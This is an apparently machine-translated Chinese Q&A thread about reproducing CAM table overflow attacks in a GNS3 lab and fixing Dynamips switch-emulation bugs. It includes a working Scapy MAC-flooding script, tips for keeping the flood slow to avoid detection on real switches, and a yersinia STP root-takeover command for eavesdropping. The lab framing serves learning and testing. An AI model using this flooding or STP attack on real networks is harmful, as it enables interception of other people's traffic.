我目前正在使用 GNS3 和 IOS c3725 ( c3725-adventerprisek9-mz.124-15.T14) 映像在虚拟环境中进行 MiTM 攻击和防御，以模拟某些拓扑。
目前的实验是针对CAM表溢出，在标准GNS3交换机上效果很好，但是当我使用c3725时，结果却很出乎意料。我应该能够完全填满设备上的 CAM 表。但是，从下图可以看出，情况并非如此：
总是有“预留”的空间，我无法填补。因为我需要 STP 和其他一些协议，所以我不能使用常规的 GNS3 交换机。设备上没有启用安全性。是否有本机安全功能、设置或我不知道的任何内容？
谢谢你的帮助！
好吧，您正在进入仿真和物理世界互连的空间。
首先，让我们介绍一下基础知识：3725 是一个路由器，它具有一些有限的交换能力，因为它可以（在现实世界中）使用交换模块，并且在 IOS 中需要交换代码。
当您编写“标准 GNS3 开关”时，我假设您指的是由 dynamips 模拟的 NM-16ESW 模块？如果是这样，那正是您在 3725 中使用的模块和代码。
对于任何安全类型的测试，包括 CAM 耗尽攻击甚至端口安全，我只会在真实环境中进行测试。由于多种原因，在运行时设置中模拟/解释并不总是提供相同（或可重复）的结果，并且它在任何有时间限制的功能中都是显而易见的，例如 QoS 和安全机制的某些部分（依赖于适当的时间和IOS 中事件触发的顺序）。
现在，回到你的问题：答案有两部分：
同样，在模拟环境中进行这种测试只会把它推得太远，我会回到一些硬件设置并对其进行测试/实验室以反映真实场景。即使你成功了，你以后也可能无法以可预测的方式重复它。
首先，我必须表明我在IT 安全StackExchange 网站上最活跃。由于当前的网站可能会覆盖不同的公众，我认为更明智的做法是，虽然我采用潜在攻击者的观点，但本文中的所有信息仅用于教育目的，特别是为了了解具体威胁正在影响超越神话和过于简单化话语的网络。
我不鼓励也不赞成在任何未经授权的网络上使用下面描述的方法（我的意思是：如果你想学习获取 GNS3，这就是整个线程的内容:)！）。
很抱歉这个答案的长度，但尽管我进行了研究，但我没有设法在网络上找到关于这个主题的任何令人满意的资源。大多数“概念验证”要么通过在 CAM 表被填充的步骤处停止并假设但从未真正展示过切换反应，要么通过使用一些人为的技巧，例如在泛洪之前清除切换 MAC 表而存在偏差。
我在这里的目标是提供适用于模拟和真实环境的具体步骤，重点关注与 GNS3 虚拟化和常见错误方法相关的问题，最重要的是提供足够的背景信息来理解为什么事情会这样。
简短的回答：是的，可以在 GNS3 中模拟 CAM 溢出攻击，但这有一些要求：
dynamips（GNS3 后面的 Cisco 路由器模拟器）。我现在将逐一讨论这些观点。
出于性能原因，很多 switch 的东西实际上不是 IOS 代码的一部分，而是在硬件中实现的。这包括 ARL 或地址解析逻辑，它提供了在 MAC 地址表中添加、删除和查找条目的所有方法。
因此，为了让 NM-16ESW 模块在 GNS3 中工作，Dynamips 必须重新实现所有这些通常由硬件提供的服务，或者至少将其推得足够远，以允许未经修改的 IOS 在其上正确运行。
可悲的是，这确实是未完成的工作，如该模块的源代码标题中所述：
* NM-16ESW ethernet switch module (experimental!)
*
* It's an attempt of proof of concept, so not optimized at all at this time.
* Only L2 switching will be managed (no L3 at all).
*
* To do next: QoS features (CoS/DSCP handling).
所以你会被警告：正如 Łukasz 的回答中所述，忘记 QoS 并期待一些奇怪的事情。
希望在这里我们不是在处理 QoS，而是在处理 CAM 溢出，并且除了最后一个错误（我希望在未来的 GNS3 版本中应该包含更正）之外，还有两个主要的奇怪之处让我们关注：一个是影响MAC地址表大小和其他MAC地址老化过程。
这是您问题的主要主题，但实际上不是问题。
CAM 溢出攻击利用了交换机无法向其 CAM 表添加任何新条目的事实，因此回退到“表现得像集线器”（正如经常描述的那样，我稍后会回来讨论这一点）。
很可能是由于一个小错误，似乎 MAC 表在 8189 个条目而不是 8192 个条目处被认为已满。但是，完整仍然意味着已满：ARL 仍将无法存储任何补充条目，并且 CAM 溢出攻击仍然会成功.
aging-time设置不兑现默认情况下，MAC 条目应在 MAC 地址表中保留至少 5 分钟（=300 秒），如aging-time设置所定义：
SW1#show mac-address-table aging-time
Mac address aging time 300
然而，在真实装备中，这个参数背后的整个过程是在硬件中实现的，而这个设置目前被 Dynamips 对 NM-16ESW 模块的实现简单地忽略了。
Dynamips 实现了自己的垃圾收集系统，该系统仅在 30 秒后删除旧的 MAC 条目，使 CAM 溢出攻击明显更加难以稳定（但可能是针对Łukasz 描述的“背压”功能的一个很好的训练）。
负责此操作的代码可以在dev_nm_16esw.c文件的第 2516 行附近找到：
/* Start the MAC address ager */
data->ager_tid = timer_create_entry(15000,FALSE,10,
(timer_proc)bcm5600_arl_ager,data);
这会bcm5600_arl_ager()每 15 秒启动一次该功能。该函数的作用是扫描整个 CAM 表并检查与每个 MAC 地址关联的命中标志：
每当交换机从相应的 MAC 地址接收到新数据包时，就会重新启用此标志，将活动地址保留在表中。
你将不得不采取这种行为考虑在内，以设计一个成功的CAM溢出攻击：
macof...），因为它会允许交换机每 30 秒刷新一次所有伪造的地址，从而使漏洞利用变得不稳定，正如介绍中所解释的，许多文献将这种攻击解释为“使交换机表现得像集线器”。虽然对外行来说是一个很好的概述，但从技术角度来看，这种过于简化的描述是错误的。
为了理解，我会回忆一下开关在正常情况下的工作原理，它们背后的算法是什么，以确保我们都在同一页面上：
现在，让我们看看当 CAM 溢出条件被触发并且他确实退回到所谓的“集线器”模式时，开关如何工作......实际上所有这些都是无稽之谈：没有集线器模式并且触发了 CAM 溢出严格没有。开关继续像往常一样工作：
这样做的主要后果是：
经典推荐用于 CAM 表溢出攻击的工具是macof（来自dsniff项目，多年未维护）。然而，这个工具让我产生了一些幻想故事中的原始野蛮人的效果：野蛮、低效和不可靠。
该工具使用动态生成的完全随机 MAC 地址生成数据包。这是错误的，原因有二：
统计上，随机生成的 MAC 中有一半设置了I/G 组位。但是，禁止使用组 MAC 地址作为发送方，如IEEE 802.3-2002, Section 3.2.3(b) 中所述：
在源地址字段中，第一位被保留并设置为 0。
Cisco 交换机（至少）意识到这一点，并将此类数据包视为格式错误并丢弃它们。这意味着它们生成的数据包中有一半macof被它们遇到的第一个交换机丢弃。
macof它还依赖于一些暴力策略，在攻击者的设备和网络允许的情况下尽可能快地发送其恶意数据包。这会导致几个问题：
一个好的 CAM 溢出攻击工具应该：
macof未能满足这三个要求，因此不是合适的工具。快速搜索没有发现任何相关的替代方案，所以我选择了Scapy路线（Scapy 是一个 Python 库和交互式工具，允许自由构建和操作网络数据包）。
这是我用来在 GNS3 环境中成功测试 CAM 表溢出的代码：
#! /usr/bin/python
nbpkts = 8192
iface = "eth0"
import sys
from scapy.all import sendpfast, Ether, IP, RandIP, RandMAC, TCP
print("Initializing...")
# We first build all packets...
pkts = []
for i in xrange(0, nbpkts):
macaddr = str(RandMAC())
# Quick-and-dirty way to ensure that the I/G remains unset
macaddr = macaddr[:1] + "0" + macaddr[2:]
# This packet structure mimics a TCP SYN sent to a HTTP server.
# A random dst mac should also work, setting one fixed can be useful
# to easily filter-out flood-related packets when capturing traffic.
# You can use IPs valid for your range, but be cautious that if any
# host is made to send some RST for instance its MAC address will be
# registered by the switches.
pkts.append(Ether(src=macaddr, dst="ff:ff:ff:ff:ff:ff")/
IP(src=str(RandIP()), dst=str(RandIP()))/
TCP(dport=80, flags="S", options=[('Timestamp', (0, 0))]))
print("Launching attack, press Ctrl+C to stop...")
# ...and then we send them in loop.
while True:
# Adapt pps (Packets Per Second) to your needs. Running a complex
# GNS3 topology on a low-end machine will take all the CPU causing
# packet loss, pps will then need to be high to replay lost packets.
# Given enough CPU, packet loss can remain low and pps can be lowered
# too.
sendpfast(pkts, iface=iface, file_cache=True, pps=5000, loop=999)
这是一个快速而肮脏的例子，可以通过多种方式改进。例如，如果它用于真实齿轮，使用两个连续的发送迭代可能是有意义的，第一个快速以快速接管 CAM 表，第二个以慢得多的速度工作，充分利用5分钟的老化延迟尽量保持在雷达之下（这个默认的延迟改变的时候一般是调高不调低，而且我还有点怀疑有人不注意开启端口安全在他的开关上真的会打扰改变这种设置）。
可悲的是，当您完成所有这些后，您会发现当它们的 CAM 表被正确填充时，GNS3 中的交换机不会开始通过它们的“所有”端口泛洪数据包，而是会丢弃它们。
这是由于一个错误影响了bcm5600_handle_rx_pkt()负责处理接收到的数据包的功能，位于dev_nm_16esw.c文件的第 2170 行附近：
/* Source MAC address learning */
if (!bcm5600_src_mac_learning(d,p))
return(FALSE);
目前，当 ARL 未能存储新的 MAC 地址时，传入的处理将中止，从而有效地导致数据包被丢弃。修复只是忽略 ARL 状态并继续处理数据包，因为这是真正的设备实际所做的：
/* Source MAC address learning */
bcm5600_src_mac_learning(d,p);
我已经向 GNS3 团队提出了这个问题，因此可以在 GNS3 未来的更新中修复它。我还提倡将 MAC 表垃圾收集超时从当前的 15 秒提高到 5 分钟，以更接近真实的齿轮行为。
在上游修复之前，它需要手动修改和重新编译 Dynamips 源代码，但这是一个非常快速和简单的过程（不需要重新编译整个 GNS3，只需要重新编译dynamips二进制文件，我在链接的票证中提供了补丁多于）。
完成此操作后，您将能够使用基于路由器的交换机以稳定且可预测的方式在 GNS3 中测试和重复 MAC 溢出攻击。
最后附上两个注意事项：
虽然基于路由器的交换机允许测试 CAM 溢出攻击，但它们不允许测试适当的缓解技术，因为它们没有实现端口安全。我认为这是 IOS 而不是 GNS3 的限制，因为相关选项甚至在 shell 中都没有阻止。IOU提出了这些选项，但是由于其 CAM 表允许近 2 亿个条目（与真实 IOS 的 8192 个条目相比），传统 CAM 溢出攻击似乎无法实现。因此，IOU 与基于路由器的交换机相反：它们可用于测试缓解技术，但不能重现攻击。另请注意，生成树协议 (STP) 的 IOU 实现存在严重缺陷，必须避免拓扑循环。
说到 STP 并且取决于拓扑，成为 STP 根 ( yersinia stp -attack 4) 应该会由于拓扑变化导致大多数 MAC 表动态条目的清除，并且可以为您提供更有效的泛洪和窃听体验 ;)。